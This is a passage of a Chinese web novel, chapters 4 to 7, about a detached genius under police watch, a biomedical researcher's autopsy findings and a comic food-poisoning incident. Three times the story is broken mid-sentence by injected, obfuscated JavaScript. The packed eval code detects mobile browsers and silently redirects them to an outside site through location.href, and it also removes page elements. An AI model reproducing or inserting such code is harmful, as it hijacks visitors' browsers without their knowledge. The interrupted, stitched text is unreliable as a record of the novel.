阮小天觉得现在这个世界有些不真实。 搞得他一时忘了问木柯泽,明明有客房,为什么还要买气垫床。 木柯泽点头:“我想也是。” 她顺手在购物网站上下单,选择下午六点半的送达时间。 像阮小天这样的24小时监管是非必要不离身的,出门当然也不例外。只是保安大叔的嘴巴似乎格外漏风了。 木柯泽在幸福小区的杂货店外挑选什么的时候,店主自来熟地给阮小天打招呼。 “啊,你就是甜甜圈居士的弟弟吧?” 店主是个和蔼可亲的阿姨。 “是弟弟没错……但为什么是甜甜圈居士?” “因为那姑娘很喜欢吃我们家的甜甜圈呢。我家小孩就给她取了这个名字。” “……她没有生气吗?” “怎么会。你姐姐脾气挺好的。” 店主看向木柯泽,对方正在用一种严谨科学的目光审视柠檬甜甜圈和蓝莓甜甜圈。 店主笑了一下:“小木不太爱出门,年轻人怎么叫来着……噢对,宅女,宅女是吧。好几次大家都担心她一个人在家忘记吃饭。” “做弟弟的怎么不关心她呢?甜食也不能当饭吃呀。” 店主大概是南方人,说话带了点他们家乡那边的音调,轻轻地怪罪他这个冒名的弟弟。 “早饭……呃,早饭她吃了面包和牛奶。”阮小天汗流浃背了。 “都是昨天在我这儿买的。一大袋燕麦面包片,她说可以这么凑合一周。”店主不赞同地摇摇头,“哪有这么过日子的。” 经过一番严谨地对比,最终木柯泽选择了柠檬味的甜甜圈。阮小天又被爱好多管闲事的店主指使着帮她拎东西。 店主每次都给木柯泽做的甜甜圈要大份些,木柯泽吃不完,剩下的掰了一半,准备喂给十字街口的流浪黑猫。 她正要停下,忽然听到一阵引擎启动的声音。 “早上好,柯泽小姐。有兴趣带我兜风吗?” 木柯泽转过头去。一辆颜色鲜艳的敞篷跑车略显局促地停在十字路口,仿佛下一秒就有莫名其妙的白鸽盘旋飞翔,以及金苹果蜡烛,华尔兹,小提琴优雅的小调之类的玩意儿。 金发蓝眼的卷毛青年向她露出那种所有年轻女性都很喜欢的虚伪笑容。 “话完全说反了吧。”木柯泽不为所动,“难道不应该你带着我逛地面么。” 阮小天警惕地挡在他们之间。阿德莱德好笑地看了他一眼。 “哎呀。这里好像也有完全弄反角色的人了。明明柯泽小姐才是应该被警惕的对象吧……这位,治安局的年轻人?她现在应该还是潜在的嫌疑犯。” “姐,”阮小天紧张地说,“不要随便上外国人,尤其还是陌生男性的车。” “阿德莱德。”木柯泽叫他的名字,“你的出场方式吓到小朋友了。” 阿德莱德歉意一笑:“我对此感到非常抱歉。” 阮小天紧急搜索了阿德莱德这个名字。 出人意料,网页一瞬间弹出了好多项词条,纷纷列举出他在生物医学的诸多成就和贡献。阮小天怀疑地看向证件照,与面前这个有点油腔滑调的年轻人一一比对…… 最后发现,这该死的竟然还真是同一个人。 他怀疑人生地跟着木柯泽上车。 虽然说是让木柯泽带阿德莱德兜风,但明显阿德莱德有自己的目的地。车载音乐放着某个国度的忧郁蓝调,阿德莱德轻声跟着哼了几句。 这人从头到脚的装扮都与幸福小区截然不同,有种跑错片场的荒诞感。 “我以为会在别的地方见到柯泽小姐呢。”阿德莱德说,偏头看她。 更早时,这辆跑车试图进入幸福小区之前,便被认真严厉的保安拦下。 “我管你是什么爱德不德爱来不来的,外来车辆没有业主登记不许进入!”那个长相很凶的保安大叔这么说。 于是阿德莱德只好在街道口蹲人。 在他的想象中,这类天才的着装也通常是什么黑风衣,西装打领结,锋利的轮廓,冰冷又不失风度。 亲眼见到日常的木柯泽,同样也在阿德莱德的意料之外。 黑色的头发随便拢成一团,垂落在宽松的卫衣外套上,牛仔外套,一踩就蹬上的马丁靴。与大学生并没有不同,下一刻出现在任何一个大学的外卖柜前都不会引人注意。 “这种话我已经听过一遍了。”木柯泽惫懒道。 说话的时候,他们已经抵达了一个银片包裹的建筑物。阿德莱德下车,走到副驾驶,替木柯泽打开车门,顺便行了个绅士礼:“请下车,柯泽小姐。” 木柯泽便下车。 阮小天紧跟着推门,硬生生挤在木柯泽与阿德莱德中间。 阿德莱德不在意地一笑:“作为柯泽小姐的司机,我能有什么报酬吗?” 于是木柯泽想起之前那个本来打算喂黑猫,但半路被阿德莱德打断的蓝莓味甜甜圈。附近也没看见垃圾桶。她随手将另一半的甜甜圈扔到阿德莱德怀里。 “这是什么?”阿德莱德新奇道,“路边摊?苍蝇馆子?” 木柯泽:“请尊重人民的劳动成果。” “廉价的劳动成果。” 不可否认,与阿德莱德见惯特级厨师制作的什么黑松露甜点相比,这个兜风了半小时的甜甜圈已经丧失了入口的最佳温度,糖果色的奶油也蹭掉了不少。用料成本很大可能比不上这辆跑车一个无用的装饰零件。 “你应该尝尝你的同类。” 阿德莱德迷人的蓝眼睛眨了眨,明显透露出一种困惑。 “抱歉,我好像听不懂中文了?” “在我眼里,”木柯泽心平气和地说,“你和这个甜甜圈没有什么区别。都是微小物质组成的结构而已。” “甜甜圈可不会说话。”阿德莱德有些好笑,“更不会思考。” “你也不能被我吃掉,给我补充营养。” “岂非宇宙在你眼里也与我没有什么不同?”阿德莱德夸张地说,“难道我也是你的宇宙?” 木柯泽古怪地看他一眼,仿佛在看什么奇怪的人:“那你有些过于自大了。” 她只是顺嘴挖苦一句,没想到对面好像已经上升到关于宇宙的高度。 路过一个垃圾桶。 阿德莱德想了想,还是没有扔。 这个银片堆砌的建筑物没有任何标识。阿德莱德用虹膜验证刷开自动门,阮小天跟在木柯泽身边,四处张望,像一个突然闯进鹅群里的小鸡崽,浑身紧绷。 “放轻松。”木柯泽看出他的过于紧张,“我们在医院。” “医院?”阮小天不解,“姐你怎么知道的?” 这“姐”他是喊的越发熟练了。 木柯泽意外地对这个愣头青很有耐心。阿德莱德多看了她一眼。 “需要了解情况的话,可以列举人的身份,地位,利益相关,特征。” “我是第三纪第一庭会的天才,他是地面最有才能的生物医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322527|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学研究员。我们相聚在这里的目的显而易见。”木柯泽说。 “……学术探讨?” “对。” 得到肯定的答复,阮小天不自觉涌现一股自豪。想要发消息给老家的老娘说,你儿子得到了这个世纪最厉害的聪明人的夸赞。 ……当然也只是想想而已。 木柯泽打量了一下四周:“看起来还是一个私人医院,用于研究各种疑难杂症。” “我在这里聚集了各类罕见病患者,为他们免费提供医疗救助。”阿德莱德轻松地说。 “但其实你有没有想过一个问题。”木柯泽说,“我也不是无所不能。专研的领域里不包括医学。” 与其说是遗憾,不如说是带点小孩子炫耀的语气,阿德莱德微笑:“那就当有幸邀请柯泽小姐参观我的后花园了。” 这家伙说话的调调听上去像是网上广为流传的“国内有一个女朋友,国外也有一个女朋友”的那种类型。 接下来的时间就显得轻松写意了许多。木柯泽偶尔会问几句,阿德莱德做出生动且简练的解释。两个人的话题跳脱极快,虽然木柯泽并不了解医学,但意外的是都能跟上对方的思路,这种对话令阿德莱德感到一种莫名的新奇,整个人仿佛沐浴在一种全新的光芒里。 求知的解答。 穿插几个很新颖角度的问题。 平和而又安静的氛围。 竟令他产生仿佛与木柯泽灵魂深交的,前所未有的愉悦。 走过一个病房,木柯泽看了眼病历单,对里面的病人产生了好奇。然而门口的透明窗过于高了,她踮起脚尖也够不到。 “要进去的话得穿防护服吧?” 阿德莱德摇头,走过来,在她身侧按下一个按钮。 “门口都会有屏幕实时显示里面病人的状况,地面这种技术已经很成熟了。” 确实对地面的相关技术不太了解。木柯泽向阿德莱德表示感谢,并称赞这所医院的先进。 “这位患者我记得是胰腺假性滑膜层瘤。”阿德莱德向木柯泽介绍说,“其实这个病并不罕见,只是这个患者的肿瘤相当长,病发年龄也是目前已知最小的……所以你在看什么?” 木柯泽在这间病房面前已经停留了超过五分钟。 “他是在喜欢的女生面前打篮球时被送去的医院。四分之三的时间在忍受痛苦,四分之一的时间在想象能够与她手拉手去太阳底下的操场散步。” 屏幕上,这个十五岁的男生躺在病床上,百般无聊地摆弄着手机。他的表情像是打了一层腊的灰。 阿德莱德的这家医院给予人性化的照看。患者的手机下载了一个名叫《电子墓碑》的游戏,他正在试图用这种虚拟的文字记录自己的前半生,也可能是墓志铭。 “我听说医生从病历单认识一个陌生人。” 木柯泽眨了眨眼。 法医能够跨越生死,聆听死者不甘的亡语。 如果要对每位病人都抱有感情,那些汹涌的感情会先一步将医生本人压垮。 “从这个角度上看,”木柯泽依然是夸赞的语气,“你很适合这个职业。” 阿德莱德没有回应。 木柯泽停留在医院的时间没有持续太长。她和阮小天似乎还有其它地方要去,阿德莱德为他们打车,目送他们离开,随后回到自己的实验室。 这里摆放了他此前人生中奉献全部心血和精力的药剂与数据,本来是打算作为参观的最后一站。 在这里,他将为木柯泽阐述受害者尸体的真实情况,并试图打她一个措手不及。 即使是用于午休的休息室里也到处张贴着病例放射照片图,和新药的对比度。 阿德莱德坐在他引以为傲的数据中间,拿出之前木柯泽塞给他的蓝莓味甜甜圈。 当他意识到自己竟然真的试图去品尝这个廉价劳动成果的时候,闭了闭眼。 她凭什么认为,自己会去吃她吃过的东西? “柯泽小姐……你可真是个恶魔。” 他喃喃说。 然后阿德莱德果断起身,将这份幸福小区的劣质甜点扔进垃圾桶。 5. 第 5 章 相比起忙活在治安局加班加点的同事们,阮小天觉得自己的活越发轻松了。他无所事事地跟着木柯泽逛超市,后者正在比对各类青菜和肉类的价格。 “给。”木柯泽丢给他一个手机。 “帮我下载一个游戏。” 游戏应用市场首页投放炫彩的广告,宣发资金看起来有种钱不是钱的豪横。首日下载量达到惊人的三百万。看到投资商的时候,阮小天又不觉得奇怪了。 《电子墓碑》,颂为集团投资。 作为唯一有力竞争对手的诺顿科技联邦,最近因为执行人瑟缪尔夫人的绯闻而股价下跌。 没了掣肘,颂为集团如日中天。 生鲜超市循环播放着颂为集团的广告。 “承蒙惠顾,颂为会员优享福利!满三百减三十,积分换购超值大奖!” “更有机会获得仿生义眼优惠卷!价格低至3000元!” 《电子墓碑》的内存很大,超市信号不好,下载得断断续续。阮小天干脆后台静默下载,抬头发现木柯泽已经走到了海鲜区。 这里的鱼不太新鲜。还不如她钓的。 木柯泽观察它们的表皮,像是已经死了好几天。 - “受害者在投入湖底前三到五天,其已死亡。” 阿德莱德展示李默的尸检报告。 “什么意思?”治安局的职员皱眉。 阿德莱德:“尸斑出现较慢且颜色浅,手和指甲内的异物残留不多。从肌肉收缩的角度看待,这名受害者大约于昨日清晨投入水中,三到五天前已经死亡。” 职员:“荒唐!总不可能她真的只是路过吧?” 阿德莱德:“关于这一点,报案人有相关证词。” 他打开当时的通话录音。 滋滋的电流声。 “对……我就看着奇怪,那小姑娘一个人,在河边走走停停的,看着像是要轻生了,西郊的太虚湖!你们赶紧过来!” 阿德莱德:“这是西郊的保安。之后警方到太虚湖,才意外发现近水岸的浮尸。” “那石头呢?” 职员质疑:“死者尸体表面多处淤青。发现木柯泽的时候,她手里正好有鹅卵石。” “淤青主要是由皮下毛细血管破裂产生,如果当场受伤不会出现,至少需要两到三天才能表现出来,使我们看到。她如果真的殴打尸体,起码得等到几天后才能出现痕迹。” 阿德莱德摊手:“为你们感到遗憾。尸检报告反而证明了她的无辜。” 比起嫌疑犯,不如说是这位天才终于看不下去一位受害者无声无息地在水底长眠,亲自过来给他们带线索。 找到浮尸的地点是。 手里握着的鹅卵石也是提示。 “你的意思是。一个从神庭会降落到地面的,本世纪最强天才,这三个月真的无所事事。随手在网上接的委托就引发了股市振荡,路过案发现场也仅仅是因为一时兴起钓鱼——她是一个完全无辜的人吗?” “所以她不是叫你们去调研受害者的身份了吗?诸位有线索吗?有任何的情况查到了吗?” 阿德莱德语气带上不耐烦,他随手将报告卷成一捆,搁在桌子上。 众人表情各异。 这时,那帮冲昏了头的人才意识到一件事——虽然被木柯泽的光环遮掩住了锋芒,但其实这位特邀顾问也不是个省油的灯。 “受害者左眼物理损伤,体内残留有碎石的痕迹。疑似生前曾遭受暴力或受虐。”阿德莱德继续说,“建议你们应该先从他的人际关系开始排查。” “□□?哪种程度的□□?” 有时候阿德莱德觉得这帮生活在城中区的治安局人,比天上飘着的神庭会科员还要缺乏常识。 在他的国家,猥亵罪会受到十三道鞭刑。 “用鞭子,抡圆了抽。”阿德莱德入乡随俗,他的语言天赋很强,将话说得糙了些,“一根铁棍在身上邦邦锤。” - “啪!” “砰!” “咚!” “邦!邦!邦!” 沉重的力道击打在活肉上,如同惊雷一般。 阮小天被这动静吓到,小心翼翼地问:“姐你这是在干什么……” “醒鱼。”木柯泽说,“捶打鱼肉有助于口感滑嫩。” 阮小天不放心木柯泽一个人待在厨房,觉得这跟一条鱼和一只猫共处一室没什么不同。 现代猫已经不怎么会抓老鼠了,但吃仍是本能。 遗憾的是,这位独居青年似乎也没有多少生活常识。 木柯泽创新地在鱼汤里淋上半熟的蜂蜜,和几个青色的平菇。 阮小天没有制止。他觉得木柯泽这么做一定有她的深意。 于是一道半熟蜂蜜鱼汤成为他们今天中午的主食。 吃到一半的时候,家门被小心翼翼地敲开。 “请问是你在做饭吗?” 隔壁养了三个孩子的邻居面露难色。 木柯泽点点头,语气一如既往的平淡。 她就用那种寡淡的神情提出一个邻里间的邀请:“你想要来尝一口吗?” “不,我的意思是……”邻居看了眼阮小天,目光里透露出一种很复杂的情绪,谴责有,怜悯也有,“你弟弟不会做饭?” 阮小天懵懵的:“嗯?” 邻居的眼神越过木柯泽,看向阮小天:“你应该学一学。” 是一种劝告的语气。 阮小天:? 邻居又摇摇头。回去的时候没有关门,能看到她徘徊在通道门口。 “可以请你不要关门吗?” 很奇怪的请求,但木柯泽似乎司空见惯。 她神情自然地盛了一碗汤泡饭。略带点金黄色的鱼汤被米饭吸收饱满。 木柯泽吃得很香,阮小天打消了隐约的不安。 平心而论,这碗加了半熟蜂蜜的鱼汤味道有些怪。平菇也不算难吃,只是味道有点像冻梨饺子当作调味料,然后去涮火锅。 也就是面前有些升天。意识抽象成破茧的蝴蝶,在烟雾缭绕中,羽毛的粉末如同落下暴雨成灾。 “姐……柯泽姐,你看到了吗。鞭打鱼肉好像是种罕见病,应该被喂给十字路口的黑猫。” “可以。明天我要去钓鱼。” “好的姐。我们去钓鱼,然后钓起了什么呢……钓起一个一个……”阮小天眼神迷离,“我有点困惑。” “什么困惑。我只看出你很困。” 门口搬了小板凳的邻居了然于胸地早就拨打了急救电话,翘着二郎腿,一边等救护车,一边在幸福小区业主群发送消息。 【305的那个妹儿又给自己吃毒了。救护车已叫。】 【我当时在店门口看到她拎着食材回家就觉得不对劲。】 【多亏了老板眼睛尖。】 【她弟不愧是她弟。竟然敢让她进厨房。必然有一个钢铁做的胃。】 【不然没点本事咋个活这么大的?】 三分钟后。 救护车一路长鸣,将阮小天和木柯泽打包送入医院。 治安局里正激烈争论的众人,就在这时接受到系统和医院同步传输过来的报告。 “……” 一时都陷入短暂的沉默。 - 领导们当初紧急批准派阮小天这个新人负责木柯泽的监管,小部分原因是据说天才都喜欢这种傻白甜类型。 大部分则是因为阮小天这个年轻人,热忱,死心眼,不会有什么歪心思,并且隐约寄予厚望,希望阮小天能够感化木柯泽,阻止她暗中密谋的邪恶计划。 但两人双双食物中毒送进医院,依旧超出了他们的想象力。 “阮小天……故意的?” “谁的下属?有点东西。” “很有创新点。” “不。”阿德莱德回忆起他们上午短暂的交流。 那个愣头青。 他默了默,道:“可能真的只是两个缺乏厨艺的人类引发了一起意外事故。” “……” 很难接受。但主角是木柯泽,虽然有点困难,但还是坚强地接受了。 - 木柯泽醒来的时候见到了一个面壁的柱子。 柱子还挂着点滴,沉痛反省:“我对不起组织。” 木柯泽:“……” “没关系。”木柯泽试图安慰,“你看我们还有呼吸。” 阮小天的背影仿佛更加沉重了。 “我其实已经有经验了。”木柯泽用分析细胞成分的态度说,“在手脚开始发热的时候有所预感,清楚地认识到自己那时就应该拨打急救电话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322528|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过忧心忡忡的邻居提前做好了准备。 她会预付费用。 走廊的脚步声却不像养育了三个孩子的女性。 来人呼吸略显不稳,隔着过道,与清醒过来的木柯泽对视,随后转头又喊护士帮忙。 木柯泽惊讶。她从上到下,审视对方过于隆重的装扮,往裤腿边瞥了一眼。 然后瞪大眼睛:“怎么是你?” “我认为我站在这里,比躺着的你更加合理一点。” 季疏原走过来。头发稍显凌乱。 因为呼叫的是人民医院,一切流程按照普通病人的规格。季疏原也没有开特权的爱好,他排队,缴费,最后来到木柯泽的病房。 “阿德莱德说他美丽的后花园不欢迎食物中毒的那种病人。”季疏原说。 木柯泽更加惊奇。 “你为什么在替他解释?” 季疏原:“其实他对你还挺感兴趣的。” 这个解释很虚无。 大概他意识到这点,又补充:“不然不会去做这个案子的特别顾问。” 阿德莱德对治安局的态度已经足够跋扈,但季疏原则更加漠然,对治安局发送的邀请全部已读不回。 他不过凑巧在这家医院附近,临时帮忙。 “所以,你去河边又做什么?”木柯泽好奇。 季疏原看了一眼自闭的阮小天。他告诉的? “调查一个委托。”季疏原含糊其辞,但接下来的语气严厉起来,“柯泽女士,我希望你能学习一些常识。不仅是为你的生命安全。” “我的大脑内存不是无限的。” “你昨晚夸赞过的通讯员,过一段时间就会被辞职。”季疏原说,“就因为你的一句话。” “个人的命运,归根究底与本性逃不开关系。”木柯泽说,“我最多只是发挥了一点催化剂的作用。你知道,那种性格的人也不会在治安局干长。” 季疏原偏头,问:“他也一样?” 角落里正在自我反省的阮小天,突然无端为自己未来的职场生涯浑身一颤。 季疏原并不赞同这种做法:“你似乎管得有点宽了。” 木柯泽看着他,然后忽然笑了:“你不也是一样么?” 关于尝试干扰别人命运这件事。 - 从医院回去,保安大叔拦下了木柯泽和阮小天。 大叔语重心长地劝告:“女性应当更加注意安全。” “今天早上有个奇怪的黄毛说要来找你。最近要到年底了,警惕诈骗,尤其是杀猪盘诈骗,我得琢磨个宣传语……” 奇怪的黄毛。 阿德莱德。 木柯泽没忍住笑了下。 保安大叔不太满意木柯泽这一副缺乏警惕的模样,又拉出一个人:“这姑娘也说非要住你家。在保安室蹲一下午了。你来领领。” “领导们一致认为你们需要一个拥有丰富常识的人,否则迟早会又把自己送进医院。季教授提议让我来照看。” 新来的姑娘语气虽然很礼貌,但仍对木柯泽有明显的敌意。 对凶案知情人的不作为,表示自己微弱的反抗。 他们互相不认识,但对彼此的声音并不陌生。 木柯泽不意外季疏原会把当晚的接线员小姐送上门来。 季疏原,真是一个相当……口是心非,且底线灵活的人。 “总之,”木柯泽推了推她,也在保安大叔跟前刷了个脸,“她最近确实要住在我家了。” 十分熟悉的动作。 阮小天莫名感到危机。 保安大叔:“……行。” 木柯泽购置的这个房子够大,容纳三个人甚至是之后的六个人都没有问题。只不过家具有限。 六点半,快递员已经上门送来了气垫床。 阮小天与气鼓鼓的通讯员小姐面面相觑。 木柯泽端着一杯热牛奶从他们中间状作无事地路过。 “姐……”你管管她。 “柯泽女士。”通讯员小姐的语气硬邦邦。 “……好吧,好吧。”木柯泽举手投降,“阮小天,你把自己的东西收拾出来,我找个时间再打扫新房间。” “啊?” “啊什么啊。早上不是已经问过你了。”木柯泽说,“你当然先在客厅睡气垫床。” 6. 第 6 章 通讯员小姐一板一眼地记录木柯泽的活动。 木柯泽喝牛奶的时候她在记录,木柯泽在演算草稿的时候她在记录,木柯泽准备洗澡的时候—— “不好意思,帮我拿一下浴巾?” 通讯员小姐:“……” 她绷着脸,放下记录本,噔噔跑进阳台,顺便把阳台给芦苇浇水的阮小天赶进客厅,又噔噔跑进木柯泽的卧室。 “谢谢。你叫什么名字?” 通讯员小姐抿了抿嘴:“韩寒梅。” 木柯泽:“你知道你这个名字很容易被叫错吗?” 韩寒梅点头:“习惯了。” 木柯泽:“季疏原也是。跟技术员一样。每次输入法都要打错。” 韩寒梅:“季教授不在意这些。” 木柯泽:“你在他手下不好混吧。” “季教授只是在城大教课闲暇的时候开放私人咨询工作室。我跟他不是上下级关系。”韩寒梅认真地反驳。 哦。 原来还开了个工作室。 木柯泽擦拭着湿漉漉的头发,水珠一滴一滴滑落。她又随口胡编:“《程序设计基础》?我记得他教这门课,挂科率还蛮高的。” “当然不是。季教授当初教我的是行政管理,只要认真听课就能过的。” “那就是另一门课程。” “另一门更是选修课了。物联网技术和AI赋能,历年都有祖传代码。” “有的人天生就不适合敲代码。像季疏原的话,感觉那双手更擅长用来游泳划水,或者有事没事就去河边冬泳。他的身板看起来很耐寒。” “季教授从来不热爱运动的,更别说去河边散步了。” “但他的工作室就开在河边吧?一开窗就正对着州河。” “明明是广播塔。离州河还有三四公里,需要借助望远镜才能看到。” 年轻。 太年轻了。 木柯泽“哦”了一声:“这样啊。” 韩寒梅隐隐约约觉得自己好像被套话了,没等她细想,又看见木柯泽将换洗衣服随便地扔在地上。 韩寒梅皱眉。 “柯泽女士。” “怎么了?” “你今天穿了一件衬衫,又穿了一件衬衫,然后就在外面套了一件卫衣吗?在秋天的季节。” “啊,是的,今天好像有点冷,所以衬衫多穿了两件。” 这一刻韩寒梅的表情比起之前更加严肃。 她绷着脸,用一种审视的眼神看向木柯泽,以及她所居住的这个房间。 木柯泽认为韩寒梅此刻的表情,比试图找到家具缺损克扣押金的房东还要严厉。 “没有买毛衣吗?” “忘记了。不重要。衣服这种东西,只要穿起来能够保暖就行了吧。” 木柯泽的头发也没有吹干,湿答答地披在肩上,看得韩寒梅直皱眉。 “家里也没有吹风机吗?” “好像是没有的。你今晚就要用么?我现在可以下单。” “不是这个问题……” 韩寒梅这才观察了一圈木柯泽的居住环境,对上木柯泽难得茫然的眼神,深深吸了一口气,看起来是把什么话咽了下去。 然后她又哒哒地跑出卧室,把给芦苇浇完水又在吭哧吭哧安装气垫床的阮小天喊了起来。 “阮小天同志!” 阮小天一激灵,手里还握着钳子把手,立正站直,大声回应:“到!” 韩寒梅:“……” 韩寒梅看他这无知无觉的清澈模样,无比心累地叹了一口气。 是整个家里只有她一个正常人的心累。 “明天我们去商场。”韩寒梅果决地宣布。 “啊?”阮小天挠了挠头,“可是姐说她另有安排……” 木柯泽默默从卧室探了个半干的头:“是的。我想去钓鱼。” “那钓完鱼我们去商场。” 韩寒梅面无表情,气场很强大。 没有任何可以商量的余地。 - 【季教授,感谢你为我所做的安排。我一定会尽心尽力监视柯泽女士,并阻止她的一切计划。】 早上九点十五。 季疏原收到韩寒梅的短信。 应该是治安局开始上班了,韩寒梅的领导让她去监督木柯泽,了解背后是他出的主意,才给他发了这条消息。 对于季疏原而言,其实他对韩寒梅并没有多少印象,他教的每堂课,学生都很多,大多数时候根本记不住名字。毕竟教课只是他与社会产生关系的方式。他的私人心理医生对他提出建议,而他照做而已。 “试图为机械赋予灵魂的人,理应内心丰富。”他的私人心理医生这样说。 然而季疏原不是这种人。 现实往往就是这样,荒诞,且缺乏逻辑。 就是他这样缺乏感情,也缺乏心理医生口中那些浪漫情怀的“灵魂颜色”,“韵律充沛”的人,正在赋予一个机器灵魂,并且已经走在了地面研究的最前沿。 改装贰型的核心算法有他出力的部分。 蓝色的字是判断真伪,红色的字是在训练灵魂。 那天他在改装贰型上,看见它用红色的字问:【李默是谁?】 一个只拥有半个残缺灵魂的测谎仪,结合审讯的记录,都能找到治安局和他们都遗漏的问题。发出与木柯泽同等含义的询问。 显然治安局不仅擅长遗漏问题,也很擅长遗漏网安措施。 当晚,季疏原绕开了治安局的密钥和防火墙,抢先一步,轻而易举地找到李默的档案。 李默。 出生在陆外十三城,三岁父母离异,跟着奶奶长大。 八岁就读三城阳光小学。 十五岁高中辍学。 十八岁进入颂为集团当技术型销售。 二十二岁尸体沉底在太虚湖被发现。 以上。 向治安局上传的信息资料—— 全都是假的。 统统是虚假的。 拟合的数据,编造的文字。 相比起从未隐瞒过身份的木柯泽,李默更像一个不存在的幽灵。 如果他的尸体此刻没有停在阿德莱德的后花园,并遭受解剖和分析,季疏原不禁都要质疑这个人是否真的存在。 很可笑的一件事,唯有死亡才能证明他曾活过。 陆外十三城没有任何关于他生活的痕迹。 季疏原深深地叹了一口气。 拥有这种手段,应当是与木柯泽一样,生来就属于神庭会的那种人。 既然他能够做到毫无社会痕迹,那么,被神庭会公认为最强天才的木柯泽也是同样。 清理自己一切活过的证据,存在的证明。如同一场无情大雪覆盖所有前行的道路。 比起人,更像是一个随心所欲的任性玩家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322529|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 随时退游,随时清档。 季疏原将韩寒梅的消息提示移出免打扰。 季疏原:【保持联络。】 韩寒梅回复得很快。 韩寒梅:【好的。季教授。】 太阳照在他的办公桌,代码有如蚂蚁的触角,堆积成山,然后堆积成无聊的塔。这些笔迹未干,在日光下闪闪发亮。 “季老师今天又有课?”同事与他打招呼。 季疏原点头。 他一般不加入办公室里的那些话题。年轻点的导员喜欢议论新开了哪家食堂,超市上新的烤肠还是糖葫芦,偶尔请教老员工们批假的标准和话术。 【柯泽女士与监督员的相处模式稍显怪异。】 【柯泽女士具有睡前喝热牛奶的习惯。】 韩寒梅的消息,在这时发送过来。 这个学生表里如一的古板。言行合一。 说好发汇报就发,一条接着一条,勤勤恳恳得像蚂蚁。 【柯泽女士的演算草稿混杂英语和多种特殊符号。】 【附件:图片】 环形轨道的模型预测公式。从过于离谱的参数范围来看,像是一时兴起算着玩儿的。 虽然如此,季疏原还是扫描图片加载到电脑里,简单写了一段解算程序。计算量很大,主机跑了有半分钟,最后编译结果出来是【lol;23333;hhhhh】 明显在逗韩寒梅。 ……也在逗背后窥视的他。 季疏原甚至能够想象木柯泽写下这些运算字符的表情。 一定是漫不经心,又带着兴味的浅笑。 【柯泽女士极其严重地缺乏生活常识。】 看起来确实挺严重的,韩寒梅严谨地加了不少修饰词。 叮叮咚咚的消息。 像是一股又一股的溪流,掀起波纹,在他的平静生活里。 韩寒梅过于事无巨细了。 季疏原开始后悔这个决定。 - “季老师今天心情似乎很好。”走过来的导员偷偷摸摸说,“我看到他对着电脑上的编译结果在笑。” “有吗?我怎么看上去只是嘴角勾了一下?” “是冷笑吧……总觉得更可怕了。” “手机也一直有消息在震动——我听学生们说的。” 在最有力气和八卦热心的年纪里,这帮年轻大学生们绘声绘色地描述。 那是一节普普通通的水课。季疏原不签到,所以听课的学生不多,昏昏欲睡地趴在长桌上,或者盯着屏幕发呆,直到黏稠到困倦的空气里突然传来一声异常的震动。 放映的电脑上弹出新消息。 【柯泽女士的水族箱里养了三条金鱼,试图用足以令两名成年人食物中毒的饲料进行投喂。】 底下的学生缓慢瞪大了眼睛,像是看到校长授予猫咪学位证的早间新闻。 季疏原关闭弹窗,继续讲课。但底下窃窃私语的声音逐渐变大,学生们听得认真极了,眼神前所未有地专注,比期末周前划分复习范围还要如狼似虎地盯着屏幕。 “什么感觉呢……就类似言情小说里给总裁汇报夫人行程的消息吧。” 学生们这样兴奋地与错过这场八卦的人低声比划。 “就算被我们发现了也不愿意设置成免打扰诶。” 如果他们对知识也有这样的敏感和锐利,想必期末从来不会产生挂科的担忧。 7. 第 7 章 “早上好。昨天还剩下了一点蜂蜜平菇炖鱼。” “等一下!这应该不是早饭吧?” “当然不是了。梅梅在做。” 木柯泽叫得亲昵,“梅梅”听上去像“妹妹”。 说完这句话,木柯泽戴上耳塞。阮小天也照着捂住耳朵。 韩寒梅刚从厨房忙活完,端着烤蛋饼走到客厅,有些疑惑地看着站在水族箱前面的他们。 应声响起楼下杨疯子的叫嚷。 “我女子的香气强而有力,两只眼睛像发光的闪耀水晶球,一只用来放歌,一只用来嫁接,摆着香案卖个好价钱!那些穿衣服的畜生,禽兽!” “我可怜的女子,我香气扑鼻的女子,被你们拿去做这样的菜肴?杀别人的女子用来当自己的眼睛,用勺子挖,用筷子搅,用锤子锤!” 没等韩寒梅发问,木柯泽先一步汇报:“楼下的杨疯子。” 阮小天:“早年间丢了女儿,所以精神失常了。” 这两人一唱一和,韩寒梅也不怎么意外。 木柯泽很会看眼色地放下蜂蜜平菇炖鱼,把茶几上乱七八糟的演算纸扒拉到一边,腾出放蛋饼的位置。 蛋饼用黄油煎得滑嫩,撒上一小把葱花,在热气里散发鲜美的味道。 “好吃!”阮小天惊叹。 